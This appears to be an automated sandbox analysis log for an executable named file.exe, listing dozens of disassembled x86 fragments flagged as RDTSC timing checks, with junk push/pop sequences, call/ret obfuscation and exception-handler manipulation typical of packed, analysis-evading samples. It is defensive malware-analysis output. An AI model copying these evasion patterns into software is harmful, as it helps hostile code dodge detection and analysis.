Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51988F second address: 5198F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jmp 00007F1F34B447EAh 0x0000000f pop eax 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F1F34B447E8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov edi, 43A3D128h 0x0000002f mov esi, dword ptr [ebp+122D32B3h] 0x00000035 call 00007F1F34B447E9h 0x0000003a push eax 0x0000003b push edx 0x0000003c push ebx 0x0000003d jmp 00007F1F34B447F7h 0x00000042 pop ebx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519BDF second address: 519BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519BE3 second address: 519BE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519BE9 second address: 519BEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519BEF second address: 519BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519BF3 second address: 519C05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F1F34FC7056h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519CDF second address: 519CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A012 second address: 51A01A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A01A second address: 51A027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51AA67 second address: 51AA6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51AA6B second address: 51AA71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51AA71 second address: 51AA7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F1F34FC7056h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B044 second address: 51B04A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C8F0 second address: 51C92A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1F34FC7058h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov di, DF41h 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 mov edi, dword ptr [ebp+122D2C6Dh] 0x0000001c pop esi 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F1F34FC7068h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C92A second address: 51C930 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51C14C second address: 51C16B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jnl 00007F1F34FC7056h 0x00000010 jno 00007F1F34FC7056h 0x00000016 popad 0x00000017 jbe 00007F1F34FC705Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D370 second address: 51D3E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1F34B447EEh 0x0000000f pop edx 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F1F34B447E8h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push esi 0x00000030 call 00007F1F34B447E8h 0x00000035 pop esi 0x00000036 mov dword ptr [esp+04h], esi 0x0000003a add dword ptr [esp+04h], 00000016h 0x00000042 inc esi 0x00000043 push esi 0x00000044 ret 0x00000045 pop esi 0x00000046 ret 0x00000047 sub di, 8980h 0x0000004c push 00000000h 0x0000004e xchg eax, ebx 0x0000004f push edx 0x00000050 push ecx 0x00000051 jo 00007F1F34B447E6h 0x00000057 pop ecx 0x00000058 pop edx 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D3E2 second address: 51D3E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D3E7 second address: 51D3EC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51DE85 second address: 51DE89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D17D second address: 51D193 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1F34B447ECh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F349 second address: 51F34E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F34E second address: 51F353 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 522C6B second address: 522C75 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1F34FC7056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523B49 second address: 523BAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F1F34B447E8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 jmp 00007F1F34B447F8h 0x00000027 push 00000000h 0x00000029 sbb bx, ABE1h 0x0000002e push 00000000h 0x00000030 jns 00007F1F34B447F1h 0x00000036 jng 00007F1F34B447EBh 0x0000003c sbb bx, 0F00h 0x00000041 cld 0x00000042 push eax 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523BAC second address: 523BB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523BB6 second address: 523BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523BBA second address: 523BBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E6D6 second address: 51E6DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0CA second address: 51F0D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523E11 second address: 523E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F34B447EFh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F0D0 second address: 51F0DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525AE8 second address: 525AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525AEC second address: 525AF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525AF0 second address: 525B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1F34B447F9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524C70 second address: 524C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1F34FC7066h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524C90 second address: 524C94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524C94 second address: 524CAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1F34FC7060h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528DBA second address: 528DD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34B447F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528DD2 second address: 528DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F1F34FC7056h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526E5D second address: 526E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526E61 second address: 526E67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CD80 second address: 52CDD4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F1F34B447E8h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 0000001Ah 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 push 00000000h 0x00000023 jc 00007F1F34B447F1h 0x00000029 je 00007F1F34B447EBh 0x0000002f sbb di, A2F2h 0x00000034 push 00000000h 0x00000036 xor edi, 498D6D21h 0x0000003c add di, FC23h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push ecx 0x00000045 jnl 00007F1F34B447E6h 0x0000004b pop ecx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CDD4 second address: 52CDD9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DEBA second address: 52DEBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DEBF second address: 52DEDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1F34FC7067h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52EE33 second address: 52EE3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F1F34B447E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52EE3D second address: 52EECD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC7067h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e pushad 0x0000000f call 00007F1F34FC7067h 0x00000014 add dword ptr [ebp+122D1D24h], edi 0x0000001a pop edx 0x0000001b or dword ptr [ebp+122D21D6h], edi 0x00000021 popad 0x00000022 mov edi, 022C44EFh 0x00000027 push 00000000h 0x00000029 call 00007F1F34FC705Ah 0x0000002e call 00007F1F34FC705Dh 0x00000033 mov ebx, dword ptr [ebp+122D29F1h] 0x00000039 pop edi 0x0000003a pop edi 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edx 0x00000040 call 00007F1F34FC7058h 0x00000045 pop edx 0x00000046 mov dword ptr [esp+04h], edx 0x0000004a add dword ptr [esp+04h], 00000014h 0x00000052 inc edx 0x00000053 push edx 0x00000054 ret 0x00000055 pop edx 0x00000056 ret 0x00000057 xchg eax, esi 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52EECD second address: 52EED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52EED1 second address: 52EEE3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1F34FC7056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F1F34FC705Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52EEE3 second address: 52EEF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F1F34B447E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52EEF2 second address: 52EEF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5335A4 second address: 5335AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 529F47 second address: 529F57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC705Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534CB5 second address: 534CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534CB9 second address: 534D21 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1F34FC7056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pop ecx 0x0000000e popad 0x0000000f nop 0x00000010 jmp 00007F1F34FC7063h 0x00000015 push 00000000h 0x00000017 mov di, 83F8h 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F1F34FC7058h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 xchg eax, esi 0x00000038 pushad 0x00000039 pushad 0x0000003a jmp 00007F1F34FC7064h 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539CE0 second address: 539CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539CE5 second address: 539CEA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539CEA second address: 539D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1F34B447F9h 0x00000009 pop edi 0x0000000a jl 00007F1F34B447F2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539D10 second address: 539D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53CC89 second address: 53CC9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1F34B447E6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53CC9A second address: 53CCB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC7065h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53CCB9 second address: 53CCD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F1F34B447EAh 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53CCD0 second address: 53CCEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC7060h 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007F1F34FC7056h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53CE3D second address: 53CE51 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F1F34B447E6h 0x0000000e je 00007F1F34B447E6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53CE51 second address: 53CE68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1F34FC7063h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CF96 second address: 52CF9C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52CF9C second address: 52CFA1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D081 second address: 52D086 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E057 second address: 52E0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 nop 0x00000007 mov bh, dh 0x00000009 push dword ptr fs:[00000000h] 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007F1F34FC7058h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a mov dword ptr fs:[00000000h], esp 0x00000031 push 00000000h 0x00000033 push ebp 0x00000034 call 00007F1F34FC7058h 0x00000039 pop ebp 0x0000003a mov dword ptr [esp+04h], ebp 0x0000003e add dword ptr [esp+04h], 0000001Ah 0x00000046 inc ebp 0x00000047 push ebp 0x00000048 ret 0x00000049 pop ebp 0x0000004a ret 0x0000004b stc 0x0000004c add dword ptr [ebp+122D31A8h], edi 0x00000052 mov eax, dword ptr [ebp+122D12E9h] 0x00000058 jng 00007F1F34FC706Fh 0x0000005e call 00007F1F34FC7066h 0x00000063 push ecx 0x00000064 pop ebx 0x00000065 pop ebx 0x00000066 push FFFFFFFFh 0x00000068 mov edi, 54EBCF50h 0x0000006d mov dword ptr [ebp+122D1D07h], ebx 0x00000073 nop 0x00000074 pushad 0x00000075 jp 00007F1F34FC705Ch 0x0000007b push eax 0x0000007c push edx 0x0000007d jnl 00007F1F34FC7056h 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533D97 second address: 533D9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533D9B second address: 533DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F1F34FC7056h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533DAC second address: 533E20 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 push dword ptr fs:[00000000h] 0x0000000f pushad 0x00000010 movsx edi, dx 0x00000013 sub eax, dword ptr [ebp+122D2885h] 0x00000019 popad 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 mov dword ptr [ebp+122DB40Dh], ecx 0x00000027 mov eax, dword ptr [ebp+122D1311h] 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007F1F34B447E8h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 jmp 00007F1F34B447F4h 0x0000004c push FFFFFFFFh 0x0000004e mov dword ptr [ebp+122D32FFh], edx 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533E20 second address: 533E24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533E24 second address: 533E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534E51 second address: 534E5B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1F34FC705Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541883 second address: 541889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541889 second address: 54188D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54188D second address: 541891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541891 second address: 5418B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F1F34FC705Ch 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5418B1 second address: 5418B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5418B5 second address: 5418BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
